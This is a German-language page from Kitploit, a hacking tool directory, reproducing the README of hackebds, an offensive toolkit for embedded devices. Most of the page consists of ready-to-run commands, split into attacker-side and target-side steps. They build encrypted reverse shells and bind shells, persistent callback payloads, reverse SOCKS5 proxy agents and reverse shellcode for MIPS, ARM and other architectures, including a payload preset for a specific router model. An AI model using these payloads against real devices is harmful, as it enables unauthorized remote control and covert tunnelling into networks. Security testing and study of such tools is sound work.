Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
hackEmbedded — Dieses Werkzeug wird verwendet für Verschlüsselung von Backdoors, Shellcode, Socks5-Proxy-Generierung, Informationsabruf und POC-Anordnung für Geräte verschiedener Architekturen | Kitploit
Tools/GitHubGitHub/doudoudedi/hackembedded
Embedded-System-SicherheitVerschlüsselungs-/EntschlüsselungstoolsIoT-SicherheitPayload-GenerierungExploitationReverse EngineeringShellcodePenetrationstestsCommand and ControlRemote-Access-ToolFirmware-Analyse
20732vor 26 TagenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
doudoudedi/hackembedded

hackEmbedded

Dieses Werkzeug wird verwendet für Verschlüsselung von Backdoors, Shellcode, Socks5-Proxy-Generierung, Informationsabruf und POC-Anordnung für Geräte verschiedener Architekturen

Repository anzeigen

hackebds

PyPI - WheelPyPI - Python Version Downloads PyPI - Downloads

🔗中文 readme

Überblick

hackebds ist ein Toolkit für die Generierung von Payloads für eingebettete Geräte, verschlüsselte Shell-Workflows, SOCKS5-Proxy-Tunneling und die Abfrage von Geräteinformationen.

Der aktuelle Zweig verwendet einen reinen ELF-Workflow für verschlüsselte Shell- und Proxy-Funktionen:

  • reverse_shell_file + encrypted_shell_server / reverse_shell_server
  • bind_shell + bind_shell_client
  • reverse_proxy_file + reverse_proxy_server
  • forward_proxy_file

Was sich in der neuen Version geändert hat

  • Verschlüsselte Reverse Shell und verschlüsselte Bind Shell für die unterstützten Architekturen im aktuellen Baum hinzugefügt
  • ELF-Listener für encrypted_shell_server / reverse_shell_server hinzugefügt, sodass verschlüsselte Reverse Shells ohne Python-Laufzeit-Handler empfangen werden können
  • ELF-Connector für bind_shell_client für bind_shell hinzugefügt
  • ELF-Workflows für Reverse-SOCKS5-Proxy und Forward-SOCKS5-Proxy hinzugefügt
  • Verschlüsselungsauswahlen aes und chacha20 für verschlüsselten Shell-/Proxy-Verkehr hinzugefügt
  • -bind_ip für listener-seitige ELF-Binaries wie bind_shell, encrypted_shell_server, reverse_proxy_server und forward_proxy_file hinzugefügt
  • reverse_shell_file und als ausgehende Payloads beibehalten: Sie verwenden und binden keine lokale Listener-IP.

Installation

root@kitploit:~
python3 -m pip install -U hackebds

Lokale Entwicklung installieren:

root@kitploit:~
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .

Auf einem anderen Rechner bauen

Wenn Sie Release-Wheels auf einem anderen Host neu bauen, verwenden Sie das Quell-Zip und build_release.py.

root@kitploit:~
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64

Erforderliche Binutils

Installieren Sie die Binutils für die Zielarchitektur, bevor Sie nicht-native ELF-Dateien generieren.

root@kitploit:~
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu

macOS-Benutzer können pwntools binutils verwenden:

root@kitploit:~
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb

Anwendungsbeispiele

1. Verschlüsselte Reverse Shell

Angreiferseite:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_server.elf

chmod +x reverse_server.elf
./reverse_server.elf

Zielseite:

root@kitploit:~
hackebds -arch mipsel -res reverse_shell_file \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_payload.elf

chmod +x reverse_payload.elf
./reverse_payload.elf

Hinweise:

  • reverse_shell_file unterstützt kein -bind_ip
  • encrypted_shell_server unterstützt -bind_ip
  • Ändern Sie -cipher chacha20 in -cipher aes, um AES zu verwenden

2. Verschlüsselte Bind Shell

Zielseite:

root@kitploit:~
hackebds -arch aarch64 -res bind_shell \
  -bind_port 5555 \
  -bind_ip 192.168.56.20 \
  -passwd "s3cr3t" \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_shell.elf

chmod +x bind_shell.elf
./bind_shell.elf

Angreiferseite:

root@kitploit:~
hackebds -arch x64 -res bind_shell_client \
  -reverse_ip 192.168.56.20 -reverse_port 5555 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_client.elf

chmod +x bind_client.elf
./bind_client.elf

Dann eingeben:

root@kitploit:~
s3cr3t
id
uname -a
exit

3. Dauerhafte Reverse Shell

Listener:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server --power \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_server.elf

./power_server.elf

Payload:

root@kitploit:~
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_payload.elf

4. Verschlüsselter Reverse-SOCKS5-Proxy

Server:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_server.elf

chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf

Agent:

root@kitploit:~
hackebds -arch mips64el -res reverse_proxy_file \
  -reverse_ip 192.168.56.1 -reverse_port 7000 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_agent.elf

chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf

Test:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1080 http://example.com/

Server mit Authentifizierung:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -socks_auth user:pass \
  -cipher aes -encrypt_key "demo-key" \
  -filename reverse_proxy_server_auth.elf

UDP-Hinweis:

  • Reverse-SOCKS5-Proxy hat UDP-Unterstützung auf den implementierten Nicht-SPARC-Proxy-Pfaden
  • sparc / sparc64 sollten nicht als UDP-unterstützt betrachtet werden

5. Forward-SOCKS5-Proxy

root@kitploit:~
hackebds -arch x64 -res forward_proxy_file \
  -listen_port 1081 \
  -bind_ip 192.168.56.1 \
  -filename forward_proxy.elf

chmod +x forward_proxy.elf
./forward_proxy.elf

Test:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1081 http://example.com/

6. Reverse-Shellcode

root@kitploit:~
hackebds -arch armelv7 -res reverse_shellcode \
  -reverse_ip 192.168.56.1 -reverse_port 4444

7. -model verwenden

root@kitploit:~
hackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -model DIR-816 -res reverse_shell_file

8. --mcpu verwenden

root@kitploit:~
hackebds -mcpu mips32r2 -li -arch mipsel \
  -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -res reverse_shell_file

9. --firmware verwenden

root@kitploit:~
hackebds --firmware ./firmware.bin

Hinweise

  • -bind_ip ist nur für Listener-seitige ELF-Dateien
  • reverse_shell_file und reverse_proxy_file sind ausgehende Payloads und binden keine lokale Listener-IP
  • reverse_proxy_server und forward_proxy_file unterstützen -bind_ip
  • Die Beispiele für verschlüsselte Shell/Proxy funktionieren sowohl mit chacha20 als auch mit aes, solange beide Seiten übereinstimmen
Tool herunterladen
reverse_proxy_file
-reverse_ip